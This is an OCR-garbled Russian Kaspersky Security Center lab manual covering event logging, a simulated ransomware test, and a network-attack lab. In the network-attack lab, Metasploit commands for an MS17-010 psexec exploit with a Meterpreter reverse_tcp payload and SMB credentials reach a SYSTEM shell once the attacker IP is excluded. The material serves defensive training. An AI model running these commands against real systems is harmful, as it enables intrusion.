3apaHue C: HacTpoiiTe xpaHUTb CO6bITUS KOMMOHEHTa NpeaoTBpaLleHne
BTOpXeHuii Ha CepBepe agMUHNCTPUPOBAHUS

OTkponTe B NONUTUKE HACTPOMKA CcOobbITMIA. HananTte nHopMaLmOHHbIE COBbITUA KOMMOHEHTA NpeaoTBpaLleHme
BTOp>XeHUn: Application placed in restricted group n Application privilege control rule triggered. HactponTe
MONMUTUKY XpaHUTb 3TU cobbiTus Ha CepBepe agMUHUCTPUPOBAHNS.
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39. OTkporite MMC KOHCOsb
Kaspersky Security
Center

40. OTKpoNTE CBONCTBA
nonutukn Kaspersky
Endpoint Security for
Windows

41. MNepenguTe B pasgen
Event configuration
(BTOpOW CBEPXY) HA
3aknagky Info

42. OTcopTUpynTe cobbiTus
no Tuny un Boibepute
cobbiTne Application
placed in restricted

group

OTkponTe cBoKCTBa
COObITUSA: HAXXMUTE
KHorky Properties nog
CMMCKOM

43

kaspersky

File Action View Help

ez 2@ A6 HE

|¢ Kaspersky Security Center 13
v [ Administration Server KSC

v L] Managed devices
> O Servers
> L] Workstations
[ Mobile Device Management
31 Device selections
L1 Unassigned devices
= Policies
Tasks
3] Kespersky Licenses
Advanced
X Useraccounts
> [ Application management
~ B Remote installation

- Deploy device images

Instalation packages Unknown Zation: Kaspersky Security Center
. N C T th I Network Agent
> @ Data encryption and protection al Defaute Pfﬂtsmo_n for Kaspt ompare policy to another policy lad: 20Mar-21 17:41:18
s Q Device discovery & Kaspersky Endpoint Security Export bed: 20.Mar21 17:41:19
O Deleted objects All tasks > ited policy:  Not inherited
> B Repositories
Group by column 2 Affected: 3 device(s)
Enforcement
Cut successful: 3 device(s)
Copy
-
T Detzils
§ v
< Export list
Properties nelp +  kaspersky

Administration Server KSC > Managed devices

(~) Policies

Devices Policies Tasks

New policy Import policy from file | Add/Remove columns

Neme Status  Application
Kaspersky Security Center Network Agent

4 Kaspersky Security Center 17 -
ey pecunty v Active policy

INabopatopHas pa6oTa 10.
Mepbl no noBbIWeHWIO 6e3onacHoCcTM paboyelt cTaHLMKn 4nsa 3amnTbl OT
nporpaMmm-BbimMoraTenem

Group properties

Refresh

Kaspersky Security Center 13 Network =< A
Agent

Critical protection components are disabled. Lesrn more

Event configuration
General o
- . : i . Info

S o Critical ° Functional failure Warning
Advanced Threat Protection }ﬂ Editing locked V| 0—
Essential Threat Protection Event type - Storage term **
Detection and Response @ A backup copy of the object was created 30 days
Security Controls ® A page thatis allowed was opened <Do not store>

@ Access to the doud service is allowed <Do not store>
Data Encryption ®  Account was not added. This account already exists <Do not store
Local Tacks @®  Account was not deleted, This account does not exist <Do not store>

@ Account was not modified. This account does not exist <Do not store:»
General settings -

@ Al application components that are defined by the license have bee... 30 days
Policy profiles @ Application components successfully changed 30 days
Revision history tricted aroup sDanatstore>

@ Application placed in the trusted group <Do not store>

@ Application settings changed <Do not store>

@ Application startup allowed in test mode <Do not store>

@ Application startup prohibited in test mode 30 days

@ Authentication Agent account deleted <Do not store>

@ Authentication Agent account password changed <Do not store>

@ BitLocker recovery key was changed 30 days

@ Connection to the Kaspersky Anti Targeted Attack Platform server ... 30 days

@ Device is connected <Do not store>

@ Device is disconnected <Do not store:>

@ Encryption module loaded <Do not store>

@  Endpeint Sensor connected to server 30 days

@  Failed attempt to access the hard drive using the procedure ofreq...  <Do not store>

@  Failed Authentication Agent login attempt <Do not store>

@ Failed to uninstall Kaspersky Disk Encryption drivers from the WinR... 30 days

@ FDE upgrade rollback successful 30 days e

(_ o l o o >

| Select all | | Properties ‘
Help | oK | | Cancel | Apply
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44- BKJ'IPO‘-WITe XpaHMTb Application placed in n
cobbiTne B 6ase JaHHbIX Event regstration
Cep Bepa Store in the Administration Server database for (days): =
aﬂMMHMCTpMpOBaHMﬂ [C]Export to SIEM system using Syslog
OTMETbTE napaMeTp [ stare in the OS event log on device
Sto re I n th e DSbore in the OS event log on Administration Server
Administration Server
database for (days) u Eventrosfiestons
HaxmnTe OK st by ens
[Cnatify by sMs

[ Notify by running an executable file or script
[Inotify by SNMP

By default, the notification settings specified on the Administration Server properties tab (such as
redpient address) are used. To specify individual settings, dick the Settings link.

Coca

[ Properties: Kaspersky Endpoint Security for Windows (11.6.0)

45. BbibepuTe cobbiTne Host
Intrusion Prevention
was triggered u

Critical protection components are disabled. Learn more

Event configuration

i General
Haxxmute Properties
i i | i Info
E=menieti o Critical o Functional failure Warning
Advanced Threat Protection & Editing locked R -
Essential Threat Protection Event type - Storage term A
Detection and Response @  Application settings changed <Do not store>
Security Contrals @ Application startup allowed in test mode <Do not store>
@ Application startup prohibited in test mode 30 days
Data Encryption @ Authentication Agent account deleted <Dio not stores
Local Tasks @ Authentication Agent account password changed <Do not store >
“ | et @ BitLocker recovery key was changed 30 days
eneral setings @ Connection to the Kaspersky Anti Targeted Attack Platform server ... 30 days
Policy profies @ Device is connected <Do not store>
@ Device is disconnected «Dio not store»
Revision history
@ Encryption module loaded <Do not store>
@  Endpoint Sensor connected to server 30 days
@ Failed attempt to access the hard drive using the procedure of reg... <Do not store>
@ Failed Authentication Agent login attempt <Do not store>
@ Failed to uninstall Kaspersky Disk Encryption drivers from the WinR... 30 days
® FDE upgrade rollback successful 30 days
® FDE upgrade successful 30 days
@ File operation performed 30 days
@ File restored <Dio not store
@ Finished applying file encryption/decryption rules <Do not store>
@ Group policy disabled <Do not store>
@ Hard drive accessed using the procedure of requesting access toe...  <Do not store>
i Host Intrusion Prevention was triggered <Do not store
@ Information about detected object 30 days
@ Keyboard authorized 30 days
®  KSM servers available 30 days ©
L ——— - . 5
Select all Properties
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46. Broore spanue

cobbITMe B 6ba3e gaHHbIX

Events of this type can be published in large quantities, and transferring them to
! Administration Server for registration or notification may therefore have a negative effect.

Cep Bepa Typically, these events may replace other important events in the database when the events
count limit is reached. They may also cause the database or disk to run out of space, or they
aﬂM NHN CTp n pOBaH n4a. may affect the performance of Administration Server or the DBMS,

OTMETbTE NapameTp
Store in the
Administration Server
database for (days) un
Haxmute OK

Learn more...

Event registration

Store in the Administration Server database for (days): 30 v
47. CoxpaHuTe NOnnTUKY: [JExport to SIEM system using Syslog

Haxmnte OK

[[I5tore in the 05 event log on device

48 rlO,U.O)K,D'I/ITe nokKa [store in the OS eventlog on Administration Server
. )
NoNnTUKa n p NMMEHUTCA Event notifications
D Notify by email
[notify by SMs

[ motify by running an executable fle or script
[ motify by SnMp

By default, the notification settings specified on the Administration Server properties tab (such as
redpient address) are used. To spedfy individual settings, dick the Settings link.

Settings
Carca

49. OTkpoWnTe BEG-KOHCONMNb

50. B 60Kk0OBOM MEHI0

BbIGepuTe Monitoring & All selections v
Reporting | Event KASPERSKY ’, > »
Selections SECURITY CENTER

Selection name Selection type

51. [Ins co3gaHusi HoBoM
BbIGOPKM CODObITUI
Haxvmute Add

Predefined selection
Recent events Predefined selection

calevents Predefined selection
el

Functional failures Predefined selection

Predefined selection

1 events Predefined selection

Selection name Host
intrusion prevention General

ction name | Host Intrusien Prevention Eventy| |

Search for the following string

@O Limit the number of displayed events

3000
@ Limit search to this number of events
200000

@D Include events from secondary and virtual Administration Servers
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53. MNMepengute B pasgen
Events

54. B cnucke Ha3BaHue
nporpammbl Bbibepute
Kaspersky Endpoint
Security

55. Ykaxnte YpoBeHb
KpuTn4HocTK: Info

56. OTMeTbTe onuuto
Include selected
general events

Jla6opaTopHasi paboTa 10.
Mepbl no noBbIWeHWIO 6e3onacHoCcTM paboyelt cTaHLMKn 4nsa 3amnTbl OT
nporpamm-BeimMoraTenen

%) New event selection

Application name Kaspersky Endpoint Security v
Version

Task name

Severity level nfo v

Do notinclude general e

® Include selected gene

Severity level Event name

nfo The link is in the Private KSN allowlist

nfo Application placed in the trusted group
(] Info Application placed in restricted group
nfo Host Intrusion Prevention was triggered

57. N3 cnncka cobbITuin BeibepuUTe:

— [porpamMma nometleHa B rpynny ¢ orpaHnYeHnsa MM
— Cpabotan komnoHeHT NpegoTBpalleHne BTOP>KEHNN

58. Haxmute Save

3apaHue D: imutupyiite wundpoBaHne AOKyMEHTa U OL,eHUTe pe3yNbTaT

HangnTe Ha paboyem cTone komnbioTepa Alex-Desktop v 3anyctute ckpunt ransomware.bat, KoTopbii
LWndpyeT 1 yaansieT TEKCTOBLIV AOKYMEHT. [NpoBepbTe, YTO CKPUNT He yaanseT TeKCToBbIN dhans.

M3yunte Ha CepBepe aAMUHUCTPUPOBaHMS COBbITUS KOMMOHEHTA NpeAoTBpalLeHne BTOPXKeHUn. YbeamTech, 4To
KOMMOHEHT NpeaoTBpaLleHe BTOPXKEeHUI He Jan CKPUNTY YAANUTb TEKCTOBbIN JOKYMEHT.

3agaHue BbinonHseTcs Ha komnbloTepe Alex-Desktop.

59. Hangute Ha paboyem
cTone dannbl
ransomware.bat n
invoice.txt

60. 3anyctute dann
ransomware.bat

61. MNMpoBepbTe, YTO Ha paboyem cTone nosieusca dan invoice.txt.aes, Ho 1 dann invoice.txt HUKyaa He

aencsa

kaspersky
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62. OtkpoiiTe Be6- MONITORING & REPORTING / EVENT SELECTIONS
KoHcomnb Kaspersky
Security Center _
All selections v
63. B 60kOBOM MEHI0 _
Bb|6e uTe Monitori n KASPERSKY - Add # Properties [> Reconfigure sorting and start Delete
&R P ti E tg SECURITY CENTER
Sel eFl(_Jr Ing | ven M Selection name Selection type
elections
ser requests Predefined selaction
64. OTmMeTbTe BbIGOPKY #
Y T T Recent events Predefined selection
CO6bIT!/IM Host . MONITORING & REPORTING  ~
IntrUS|0n Prevenuon tical events Predefined selection
Events RD
ures Predefined selection
65. HaxmuTte REPORTS N
. . redefined selection
Reconfigure sorting e feaRnE seec
EVENT SELECTIONS
and start, YTOObI D events Predefined selection
3anycTuTb BbIOOPKY )
CO6b|T|/||Z Audit events Predefined selection
Host Intrusion Prevention Events User-defined selection
66 M3quTe Co6b|TV|;| B ) Result of Host Intrusion Prevention Events on 04/02/2021 9:14:13 am ) m
BblOOpKe. Hangute
cobbITne, KOTOpOoe 2 Ratresh st [RC ® B l <] = v
FOBOpMT, l'|T0 Event occurred Device Event Description Administration group
KOMIMOHEHT 04/02/2021 01427 3 ALEX-DESKTOP Host Intrusion Prevention was i Deskiops
MpepoTtBpalyeHne
BTOp)KGHI/II7I He aan
nporpamme yganutb
OOKYMEHT
2 42 LEX-DESKTOP Host Intrusion Prevention wastr... >> Desktops
< Previous 1 Next »  Result1-20/20total
3aknioueHne

Bbl HacTponnu KoMnoHeHT lNpenoTBpaLleHe BTOPXKEHUIN pa3peLlaTb MEHATb TEKCTOBbLIE JOKYMEHTbI TONbKO
[OBEpPEeHHbIM NporpammMam. [ns sawmTtbl OT nporpaMM-BbiMoratesnen, 4odaBbTe B KaTeroputo 6orblue TUNnoB
aokymeHToB: *.doc, *.docx, *.xIsx n 1.4.

[Mporpammbl OT M3BECTHBLIX Npon3BoauTenen, Takne kak Microsoft Office, oTHocaTCA kK 4JOBEPEHHBIM, NO3TOMY UM

KOMMOHEHT NpefoTBpalleHne BTOPXKEHUIA He nomeluaeT. A BOT NPOrpaMMbl-BbIMOraTenu, Aaxe ecnv X eLle HeT B
6a3e curHatyp unun B KSN, B KaTeropmio 4OBEPEHHbIX HE NOMagyT U MEHSTb AOKYMEHTbI HE CMOTYT.

JlabopaTtopHas paboTa 11.
Kak NPOBEPUTHL 3au.wrry OT CeTeBbiX aTak

CueHapun. [Nepuognyeckn Bam He0OXoaMMO NPOBEPSATH CBOK CETb CreyuarnbHbIM CKaHEpOM 6e30nacHoOCTH,
4TOObI 3HaTb, XOPOLUO K 3aLymLleHbl komnbloTepbl. Kaspersky Endpoint Security Ha ckaHMpyeMblX KOMMbloTepax
GnokMpyeT ataku 1 nocne aToro GrokupyeT nobble CoeaUHEHUS C aTaKyoLLEero KoMnbloTepa B TEYEHNE Yaca.
[obaBbTe KOMMNbLIOTEP, C KOTOPOrO Bbl CKAHMPYETE YSI3BMMOCTU, B CMIMCOK UCKIIOYEHUNA.
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CopepxaHue. B aToin nabopatopHon paborte:

MMntupynTe ataky no cetu ¢ komnbtotepa Kali Ha komnbtoTep Alex-Desktop

M3yunte oTHET O ceTeBbIX aTakax

Pasbnokupyiite komnbtoTep Kali

HacTpowiTe 3awmTy OT ceTeBbIX aTak He GnokmposaTth Kali

MmuTtupynte ataky ¢ komnbtotepa Kali Ha komnbioTep Alex-Desktop n usydnte pesynbtathbl

ogrwNE

3apaHue A: imuTtupyiite xakepcKylo aTaKy, UCMoJib3ys YA3BMMOCTb B
PowerShell n nonyunTte poctyn Kk ynaneHHomy KomnbloTepy

3anyctute Ha komnbloTepe Kali yTunuty onsi BeiNOMHEHUSI TECTUPOBaHNSI Ha NPOHNKHOBEHNE Metasploit
Framework. BeinonHute ataky Ha HTA (HTML Application), kotopas 3arpyxaetcs yepes PowerShell.

— -
Rl — )
[ ] 1 = ven —
; +Tl Ejs —] ‘b
- i = T
[1e3 Ksc Tom-Laptop  Alex-Desktop Kali

Kali

1. Bonaute B cuctemy nop ydetHom 3anunceto hacker. MNMapons — Kabper5Ky

2. 3anyctute TepmuHan

3. Banyctute koHconb Metasploit Framework. BeinonHuTe komaHay:
|msfconsole

4. BbibepuTte WabnoH akcnnouTa. BeinonHute komaHay:

|use exploit/windows/smb/msl17 010 psexec

msf5 > use exploit/windows/smb/ms17_010_psexec

msf5 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp

5. BbibepuTe BpeooHOCHYIO Harpy3ky. BbinonHmuTe komanagy

|set payload windows/x64/meterpreter/reverse tcp

msf5 exploit > set payload windows/x64/meterpreter/reverse_tcp
payload = windows/x64/meterpreter/reverse_tcp

6. 3apavite agpec cnywaroLlero cepepa (agpec komnbiotepa Kali). BBegnte komaHgy
|set LHOST 10.28.0.50

msf5 exploit( ) > set lhost 10.28.0.50
lhost = 10.28.0.50
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7. BapainiTe agpec MalUuHbI XepTBbl. BBeamTe komaHay
|set RHOSTS 10.28.0.100

msf5 exploit( ) > set rhosts 10.28.0.100
rhosts = 10.28.0.100

8. 3apavite umsa akkayHTa xepTBbl. BBegnte komaHgy

|set smbuser alex

msf5 exploit( ) > set smbuser alex
smbuser = alex

9. 3apaiiTe naponb akkayHTa epTBbl. BBeanTe komaHay

|set smbpass Ka5per5Ky

msf5 exploit( ) > set smbpass KaSper5Ky
smbpass = KaSper5Ky

10. AKTuBMpynTE 3KCNNOUT. BbINONHUTE KOMaHOy
|exploit

O6paT|/|Te BHMMaHWE, YTO BaM He yaarnocCb NnpoakcniyatnpoBsaTb yA3BUMOCTb

Started reverse TCP handler on 10.28.0.50:4444
1445 - Authenticating to 10.28.0.100 as user 'Alex' ...
1445 - Target 0S: Windows 10 Enterprise 2016 LTSB 14393
1445 - Built a write-what-where primitive...

1445 - Overwrite complete... SYSTEM session obtained!

1445 - Selecting PowerShell target

1445 - Executing the payload ...

1445 - Service failed to start - ACCESS_DENIED
completed, but no session was created.

BbINonHUTL aTaky He NpeacTaBnseTcs BO3MOXHbIM, T.K. Kaspersky Endpoint Security no ymonuyaHuio énokupyet
ceTeBble aTaku.

3apaHue B: MIsyunTte oTueT 0 ceTeBbIX aTakax

Hangnte B KOHCONM agMUHUCTPUPOBaHNSA CNMCOK oTyeToB. Co3aanTe HoBbIN WabnoH otyeta Tuna Network
attack report. Cospganite oT4eT, U3yumnTe NOgPOBHOCTM CETEBOWN aTaku, HaNaUTE agpeca aTtakyrLen u
aTakoBaHHOW MaLLVH.

3agaHue BbINonHsieTcs Ha komnbtotepe KSC.

147]

MONITORING & REPORTING / REPQORTS

11. OTkpownTe BEO-

KOHCOJ1b

Kaspersky + Add > > New report delivery task

SeCUI'Ity Center SECUKRA|§||-]$R(S:KQNTER Name Type Scope Description Created
12. B 60k0BOM MEHIO Forecton e

Bb|6epMTe Report on errors Reporten errors Th

Monitoring & . Reporton Reporton protect Thisre

. A MONITORING & REPORTING  «
Reporting | Deployment
Reports O

> Reporton Kaspersk.. >>  Deployment This report lists the

REPORTS

13. Haxxmute Add

Report o ompatible applications  Reporton incompat. >> Deployment This report lists all in._ >> 03
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14. HasoBute otyeT
Network Attack
Report

15. BbibepuTe TUN
oTyeTa Report on
network attacks
B pasgene Threat
statistics

16. Haxxmute Next

17. Haxxmute Next

18. Hactpoite
BbIBOOUTb
WHpopmaLmio 3a
nocneaHue 30
OHen

19. Haxxmute OK

20. Bo BcnnbiBatoLwem
OKHe BblbepuTe
Save and run

kaspersky

KASPERSKY 0
SECURITY CENTER

A MONITO

REPORTS

INabopatopHas paboTta 11.
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Report name

Network Attack Report

Report type

> Protection status
> Deployment

> Updating

™ Threat statistics

Report on threats
Report on most heavily infected devices
@) Report on network attacks

Summary report on workstation protection and Windows
Server protection applications installed.

Summary report on mail system protection applications
installed.

Summary report on perimeter defense applications
installed

Summary report on types of applications installed.

Report on users of infected devices

> Other

Scope X
® Administration group

Device selection

Selected devices

All networked devices

>@ M

Reporting period
From start date to end date
From start date to report creation date

@) Specified number of days before the report creation date

Days 30

MONITORING & REPORTING / REPORTS

[ 111]

-+ Add [> Op [» New report delivery task >3

Scope

Q

Name Type Description

Protection status

a

Report on errors Reporton errars Protection status This report describe...

O
|

leport on protection status Reporton protectio.. >>  Protection status This report provides.. |

& REPORTING  ~
Deployment

Report on Kaspersky softwarew... >> Reporton Kaspersk.. >> Deployment This report lists the ..

s report lists all in.

Report created
s report provides.

Report Network Attack Report has been successfully created.
s report provides...

O 0O0o0oag
[

Save and run Save

s report displays
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21. lMepengnTe Ha

22.

23.

24.

25.

26.

Bknagky Details

Hangnte B otyeTe
IP-agpec
aTakoBaBLUEro U
DNS-ums
aTakoBaHHOIo
KOMMbIOTEPOB

3akponTe otyet

B 6okoBOM MEHI0
BblbepuTe Event
Selections

Haxvnte Add,

4yTOoObI CO3aaTb

HOBYO BbIOOPKY
cobbITUN

HaszoBute
BblGopky Network
attacks

kaspersky

INabopatopHas paboTta 11.

Network Attack Report

# Edit & Refresh  [> Export

Summary Details

Report on network attacks

Friday, April 2, 2021 11:57:45 AM
This report provides information about network attacks

1
10

o~
0e
L
0
08
0s
0s
LE
0z
01
0

Search

gistered on devices. This report is generated for all groups.

Network attacks

Attack Attacks count Attack IPs Devices attacked Groups attacked First attempted run blocked

100 1 1 1 1 Friday, April 2, 2021 9:48:14 AM

ntrusio

Last attempted run blocked

Friday, April 2, 2021 9:48:14 AM

Kak npoBeputb 3awmTy OT CETEBbLIX aTak

=]

Network Attack Report

# Edit £ Refresh [> Export

Summary Details

Details 1 of 1

Search

Virtual Administration Server ~ Group Device Attack IP Attack time Attack

Protocol

Port

KASPERSKY > x
SECURITY CENTER

Selection type

Fre:

B KSC

EVENT SELECTIONS

New event selection

General
Selection name Metwork attacks

Events

earch for the following string

@ Limit the number of displayed events
3000

@ Limit search to this number of events
200000

@ Include events from secondary and virtual Administration Servers
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27. MNepengute B
pasgen Events

28. B none
Application name
BblOepuTe
Kaspersky
Endpoint
Security

29. B none Severity
level Bbibepute
Critical

30. OTmeTbTE
napameTp Include
selected general
events

31. B cnucke cobbiTuin
HanguTe un
OTMeTbTe
cobbiTne Network
attack detected

32. CoxpaHute
BbIGOPKY COObITUIA:
HaxmunTe Save

33. B nosiBuBLLEMCA
coo0LLeHnn
OTMeTbTe
napametp Go to
selection result n
HaxmuTe Save

kaspersky

New event selection

Application name

Version

Task name

Aremee riahre Severity level

Access rights J

Do not include general events

® Include selected general events
Severity level
Critical
Critical

Critical

JlabopaTopHasi paboTa 11.
Kak npoBeputb 3alwmTy OT CETEBbLIX aTak

Kaspersky Endpoint Security

Critical

Event name
License Agreement violated
License has almost expired

Databases are missing or corrupted

New event selection

Applicaticn name

Version

Task name

Severity level

ghts L

Do not include general

® Include selected gene
Severity level
Critical
Critical
v Critical

Critical

Kaspersky Endpoint Security

Critical

Event name
AMSI request was blocked
Network activity blocked
Network attack detected

Application startup prehibited

m

KASPERSKY
SECURITY CENTER

Y

A MONITORING & REPORTING  ~

EVENT SELECTIONS save

MONITORING & REPORTING / EVENT SELECTIONS

Do you want to save the selection?

B3 Goto selection result

Selection type

Predefined selection
Predefined selection
Predefined selection

Predefined selection

m Cal‘:el
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34. N3yuute cobbiTus Result of Network attacks on 04/02/2021 12:04:20 pm
B BblOOpKe
O Refreshlist | X Delete @ Exportiofile &g Assign to categ 3 Re , @ Exclude from Adaptive A 4 Q
[} Event occurred Device Event Description
ALEX-DESKTOP Network attack detected User: ABC\Alex (Active user)

Component: Network Threat
Protection
Result description: Blocked
Name: Intrusion Win MS17-010.0

Object: TCP from 10.28.0.50 at
1028.0100:445

Object type: Network packet

Object name: TCP from 10.28.0.50 at
10.28.0.100:445

Additional: 10.28.0.100

Database release date: 4/2/2021
6:04:00 AM

3apaHue C: Pa3bnokupyiite komnbiotep Kali

OrTkporite okHo Kaspersky Endpoint Security Ha atakoBaHHOM KoMnbtloTepe. OTKpoiTe MOHUTOPUHT ceTu. Hangute
B HEM CMMCOK 3abnOKMpPOBaHHbIX KOMMBLIOTEPOB M YAanMTe N3 CNMCKa aTakoBaBwWni kKoMmnbtoTep Kali.

Alex-Desktop

Kaspersky Endpoint Security

35. OTkponTte
UHTEpdenc
Kaspersky Endpoint
Security: KMUKHUTE
MO UKOHKe B
obnactu
yBeoMMneHnin

36. Haxmute More
tools | Network D) Backup
Monitor

@ Threat detection technologies

O a Kaspersky Security Network

Protection components Application Activity Monitor Database Update

More Tools

kaspersky 80
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37. OTKpoeTcst OKHO B Networ Moniter - oox
Network Monitor Network activity Network activity Block all network activity ~ View + ()
L 7.11KB/s
1 0.31KB/s Application Proce... Dir.. Protoc.. Local IPa... External IP... Loc.. Re.. Du... Received Sent
Open ports v [] system 4 2 co... 7.06 KB/s  0.29 KB/s|
41 -
[ syst.. 4 Out... TCP 10.28.0.100 10.68.184 49783 445 12... 698 KB/s  0.23 KB/s|
Network traffic
16122 KB D Syst... 4 Out... TCP 10.28.0.100 10.28.0.10 49805 445 12... 0.08 KB/s  0.06 KB/s|
Taszoke v [EHostP.. 1012 1 co.n 0.02 KB/s  0.01KB/s
Blocked computers
. [ Hos.. 1012 Out.. TCP 10.28.0.100  51.103.5159 61854 443 12.. 0.02KBfs  0.01 KB/s|
¥ 'm Windo... 3868 1ca.. 0.02 KB/s  0.01 KB/s
n Win.. 3868 Out... TCP 10.28.0.100  51.103.5.159 61855 443 12... 0.02KBfs 0.01 KB/s|
M Received 7.11KB/s M Sent 0.31 KB/s
38. OTKpoWTe CNnCoK B Network Monitor -9
3abr10K1pOBaHHbIX Network activity Blocked computers @
. 4 77 KB/s
KOMMNbOTEPOB:
o p 1 0.31KB/s Computer address Time when blocking started
nepengmnTe B
-~ Open ports 10.28.0.50 4/23/2021 11:00:30 AM
OOHOUMEHHbIN "
pasgen
Network traffic
1 6122 KB
T 33.29KB

Blocked computers

1

Unblock all computers

39. Pasbnokmpyinte komnbtoTep Kali: Boibepute komnbtoTep 10.28.0.50 n Haxxmnte Unblock

40. 3akpouite Bce okHa Kaspersky Endpoint Security

3a.n.a|-||ne D: Hac1'p0|7|1'e NCKoYeHNa Ang 3almnTtbl OT CeTeBbiX aTak

OTkpownTe B nonntuke Kaspersky Endpoint Security HacTponku 3alwmTbl OT CeTeBbIX aTak. HananTe cnncok
AOBePEHHbIX KOMMNbIOTEPOB 1 AobaBbTe B Hero IP-agpec komnbloTepa Kali (10.28.0.50).

41. OTkpounTe BEL-
KoHcomnb Kaspersky
Security Center

42. B 60KkOBOM MEHI0
BbiGepuTe Devices |
Policies & Profiles

43. OTKponTE NONUTUKY
Kaspersky Endpoint
Security for
Windows

T= DEVICES

POLICIES & PROFILES

kaspersky

KASPERSKY
SECURITY CENTER

DEVICES / POLICIES & PROFILES

Current path: K5C

| £ Add | | = Refreshlist | D
[l stat. >> Policy name

Haspersky Endpoint Security for Windows (11.6.0)

L] © Kaspersky Endpoint Security for Windows (11.6.0)

X ¢

Application

Kaspersky Endpoint Security for ... 3

Haspersky Security Center 13 Network Agent

Kaspersky Security Center 13 Ne... 3

Kaspersky Security for Windows Server
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44. MNepengute Ha
Bknagky Application
Settings

45. MNepengute B pasgen
Essential Threat
Protection

46. MNponanTte No ccblnke
Network Threat
Protection

47. OTKpoWTE CNCOK
[0OBEpPEHHbIX
KOMMbIOTEPOB:
nepengnte no
ceobinke Exclusions

48. Haxmute Add

49. Beegute IP-agpec
komnbtoTepa Kali
10.28.0.50 n
Haxmnte OK

50. Haxmnte OK

51. CoxpaHuTe NOnUTUKY:

Haxmnte OK

52. MNopoxguTte, noka
nonuTuka
NPUMEHNTCS

INabopatopHas paboTta 11.
Kak npoBeputb 3alwmTy OT CETEBbLIX aTak

Kaspersky Endpoint Security for Windows (11.6.0) =]

High protection level
GENERAL  EVENT CONFIGURATION ~ APPLICATION SETTINGS ~ REVISION HISTORY ~ POLICY PROFILES
Advanced Threat Protection e it Protect
Essential Threat Protection
Security Contr - -
el eat Protecti
Mail Threat Protection
Network Threat Protection
Network Threat Protection P
Network Threat Protection a8 O
@ Network Threat Protection ENABLED
Network Threat Protection settings a8 [ o]

Treat port scanning and network flooding as attacks
B3 Add the attacking computer to the list of blocked computers for

60 min

Exclusions

MAC spoofing protection mode a8 O

3 MAC Spoofing Protection DISABLED

Add exclusion

IP address
1028050

+ Add Delete

= Import 3= Export
[~} IP addresses

1028 32

3apaHue E: Umutupyiite aTaky ¢ komnblotepa Kali Ha komnbioTep Alex-
Desktop n nsyumnre pesynbrarbl

Ewe pa3 umntupynte ataky komnbtotepa Alex-Desktop ¢ komnbtoTepa Kali ncnonbays Metasploit Framework.
MpoBepbTe, uTO Tenepb Kaspersky Endpoint Security He coobLuaeT 06 aTtake.

kaspersky
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3agaHne BbINONHAETCA Ha KomnbloTepe Kali.

Kali

53. Bongute B cuctemy nog yvetHon 3anucbio Hacker. MNaponbs — Ka5pers5Ky

54. OTKpounTe TEpMUHan

55. oBTOPHO aKTMBUPYNTE IKCNIONT. BbINONHMUTE KOMaHAY:

exploit

Started reverse TCP handler on 10.28.0.50:4444
:445 - Authenticating to 10.28.0.100 as user 'Alex'...
1445 - Target 0S: Windows 10 Enterprise 2016 LTSB 14393
1445 - Built a write-what-where primitive...
1445 - Overwrite complete... SYSTEM session obtained!
1445 - Selecting PowerShell target
1445 Executing the payload...
.0. 1445 - Service start timed out, OK if running a command or non-service executable...
Sending stage (206403 bytes) to 10.28.0.100
Meterpreter session 2 opened (10.28.0.50:4444 — 10.28.0.100:49282) at 2021-04-27 14:15:47 -0400

0
0
.0.
.0.
0
0

meterpreter > [|

56. YbeguTech, YTO BaM ygarnocb NPO3KCNIyaTMpoBaTb YA3BMMOCTb B NpoTokone SMB

57. 3anyctute shell. BeinonHuTte komaHay:
shell

meterpreter > she

Process 1068 created.

Channel 1 created.

Microsoft Windows [Version 10.0.14393]

(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

B dononHeHue: no xenaHuto MOXHO egecmu komaHOy dir dr1ss omobpaxkeHus Oupekmopuli

3akniouyeHve

Bbl HacTpousnun 3alnTy OT CETEBbIX aTaK HEe pearmpoBaTtb Ha ataku C 3afaHHOro IP-agpeca. WcknouanTe Takum
06pa30M afpeca ceTeBblX CKaHepOoB ©esonacHocTu.

Kpome aToro, Bbl cO3anv HOBbIM OTYET U HOBYIO BbIOOPKY cobbiTnin. B Kaspersky Security Center eCTb MHOTO
TUNOB OTYETOB. ECnn BaM He xBaTaeT OTYETOB, KOTOPLIE Y)XKE eCTb HA 3aknaake OTYeThbl, MTOCMOTPUTE Kakue eLle
OT4YeTbl Bbl MOXETEe co3aaTtb. Ecnu Hy>kHOro nnm yaobHoro otyeTa HeT, caenante BblbOpKY MHTEPECHDBIX BaM
coObITnn. HacTtponTe ycnosus no Tunam CobbITUIN, BPEMEHM, Ipynne KOMNbIOTEPOB U T.4.
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JlabopaTopHas paboTa 12.
Kak HaACTpOMNTb 3allUTY ANg yAaneHHOro aoocrtyna K
KOMMblOTEepPY

CueHapun. UTobbl yaaneHHO nomoraTtb COTPYAHMKaM, Bbl MOOKMHOYAETECH K UX KOMMbIOTEPaAM Yepe3 YaaneHHbIn
nomoLHmk Windows. Okasanoce, 4To Kaspersky Endpoint Security He pearvpyeT Ha Balum JEACTBUS Yepes
YpaneHHoro noMmollH1ka Windows. Coenaite nckniodeHve ansa YganeHHoro noMmollHnka Windows, 4yTobsbl
ynpaenaTb Kaspersky Endpoint Security.

CopepxaHue. B aton nabopatopHon paborTe:

1. TlMonpobynte ynpaenate Kaspersky Endpoint Security yepes YganeHHbin nomoLHuk Windows
2. Paspewwute YganeHHomy nomowHnky Windows B3anmogencteoBaTb ¢ Kaspersky Endpoint Security
3. Ortkponte nokaneHbi otyeT Kaspersky Endpoint Security B ceccum YganeHHoro nomolHnka Windows

3apaHue A: NMonpobyiite ynpaenaTtb Kaspersky Endpoint Security yepes
Y naneHHbih nomowHuK Windows

OTkponite nonutnky Kaspersky Endpoint Security. Hanante cnucok gosepeHHbix nporpamm. [lobasbTe
NCnornHseMbIn gann msra.exe B CNMCOK JOBEPEHHbIX. Paspelunte emy B3anmogencresoBaTb C MHTepdercom
Kaspersky Endpoint Security.

) = B

DC KsC Tom-Laptop Alex-Desktop

P S
Alex-Desktop

1

1. Banyctute Outlook = Run *

2. Haxmute Win+R

= Type the name of a proegram, folder, document, or Internet

3. B none eBoga BBeanTe resource, and Windows will open it for you.

msra

4. HaxmuTe kHoMKy OK Open: | msra 7]

| 0K || Cancel H Browse... ‘
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5. BbiBepuTe onumio x
|nV|te SOITI eone yOU lﬁWmduwsRetheAsslstance

trust to help you

Do you want to ask for or offer help?

Windows Remote Assistance connects two computers so that one person can help troubleshoot or fix
problems on the other person’s computer.

—> Invite someone you trust to help you
